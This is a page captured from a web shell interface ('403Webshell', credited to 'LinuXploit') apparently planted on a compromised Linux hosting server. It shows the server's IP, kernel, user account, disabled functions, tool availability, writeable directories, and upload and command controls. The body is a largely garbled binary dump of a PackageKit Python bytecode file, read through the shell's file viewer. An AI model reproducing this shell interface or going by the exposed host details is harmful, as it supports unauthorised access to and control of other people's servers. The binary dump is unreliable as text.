403Webshell
Server IP : 77.68.64.21  /  Your IP : 216.73.217.105
Web Server : Apache
System : Linux hp3-wp-1011378.hostingp3.local 3.10.0-1160.144.1.el7.tuxcare.els9.x86_64 #1 SMP Fri Jul 10 17:06:31 UTC 2026 x86_64
User : csh2668128 ( 2112425)
PHP Version : 8.1.34
Disable Function : shell_exec,exec,system,popen,set_time_limit
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/PackageKit/helpers/yum/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/PackageKit/helpers/yum/yumFilter.pyc
�
�^c@sUddlTddlTddlZddlZejd�Zdefd��YZdS(i����(t*Ns
(qt)|(gtk)t	YumFiltercBs�eZdd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d	�Z
d
�Zd�Zd�Z
d
�ZRS(tnonecCsctj||�tjj�}|dkrCddddg|_n|g|_|jjd�dS(Nti386ti486ti586ti686tnoarch(tPackagekitFiltert__init__trpmUtilstarchtgetBaseArcht
basearch_listtappend(tselftfltlisttbasearch((s./usr/share/PackageKit/helpers/yum/yumFilter.pyR	 scCs=|jd�rtS|jd�r&tS|jd�r9tStS(Ns
-debuginfos-devels-libs(tendswithtFalsetTrue(Rtrepo((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_is_main_package)sc	Cs�g}g}g}xq|D]i\}}|jrftjj|j�d}|j||||jf�q|j||d|jf�qWxd|D]\\}}}}||jkr�||f|kr�|j||f�|j||f�q�q�Wxj|D]b\}}}}||f|kr�|j|j�rV|j||f�|j||f�qVq�q�WxU|D]M\}}}}||f|kra|j||f�|j||f�qaqaW|S(sG
        Filter the list so that the number of packages are reduced.
        This is done by only displaying gtk2 rather than gtk2-devel, gtk2-debuginfo, etc.
        This imlementation is done by comparing the SRPM name, and if not falling back
        to the first entry.
        We have to fall back else we don't emit packages where the SRPM does not produce a
        RPM with the same name, for instance, mono produces mono-core, mono-data and mono-winforms.
        @package_list: a (pkg, status) list of packages
        A new list is returned that has been filtered
        itnosrpm(t	sourcerpmR
t	miscutilst
splitFilenameRtversiontnameR(	Rtpackage_listt	base_listtoutput_listtbase_list_already_gottpkgtstatustbaseR((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_basename_filter2s,	 !cCsg}x9|D]1\}}|j|�r
|j||f�q
q
Wi}x�|D]�\}}|j|�rpqOn|j|jf}||kr�|j||d�dkr�qOn|j||d�dkr�|j||djkr�qOn||=n||f||<qOW||j�S(sC
        Only return the newest package for each name.arch
        i(t_pkg_is_installedRRRtverCMPRtvalues(Rtpkglistt	installedR!tstatetnewesttkey((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_do_newest_filtering]s$
cCs�g}x||D]t\}}|jd�}|j|j��xC|D];}|jd�rB|jd�rB|j||f�PqBqBWq
W|S(s6
        Only return the application packages
        tdirs/usr/share/applications/s.desktop(treturnFileEntriestextendt
startswithRR(RR(tpkglist_newR!R*tfilestfile((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_do_application_filtering�s
cCs|t|jkr'|j|j�|_nt|jkrN|j|j�|_nt|jkru|j|j�|_n|jS(s6 do filtering we couldn't do when generating the list (tFILTER_BASENAMERR$Rt
FILTER_NEWESTR-tFILTER_APPLICATIONR5(R((s./usr/share/PackageKit/helpers/yum/yumFilter.pytpost_process�scCs�|j|jkrdS|j|jkr,dS|j|j|jjd�df}|j|j|jjd�df}tjj||�}|S(s>
        Returns a version comparison of the packages
        i����t.i(	RRtepochRtreleasetsplitR
Rt
compareEVR(Rtpkg1tpkg2tevr1tevr2trc((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_pkg_compare�s%%cCs|jS(sN
        Returns the name of the package used for duplicate filtering
        (R(RR!((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt
_pkg_get_name�scCs)t|j�tkr%|jjdkStS(s5
        Return if the package is installed.
        R)(ttypeRtstrtidR(RR!((s./usr/share/PackageKit/helpers/yum/yumFilter.pyR%�scCs\|jjd�rtS|jjd�r,tS|jjd�rBtS|jjd�rXtStS(s7
        Return if the package is development.
        s-devels
-debuginfos-statics-libs(RRRR(RR!((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt
_pkg_is_devel�scCs5x.|jD]#}|d}tj|�r
tSq
WtS(s9
        Return if the package is a GUI program.
        i(trequirestGUI_KEYStsearchRR(RR!treqtreqname((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_pkg_is_gui�s

cCs|j|jkrtStS(s7
        Return if the package is native arch.
        (RR
RR(RR!((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_pkg_is_arch�scCs|j|j�S(s9
        Return if the package is free software.
        (tcheck_license_fieldtlicense(RR!((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt_pkg_is_free�s(t__name__t
__module__R	RR$R-R5R9RDRER%RIRORPRS(((s./usr/share/PackageKit/helpers/yum/yumFilter.pyRs				+	&			
				
	(tpackagekit.enumstpackagekit.filterR
tretcompileRKRR(((s./usr/share/PackageKit/helpers/yum/yumFilter.pyt<module>s




Youez - 2016 - github.com/yon3zu
LinuXploit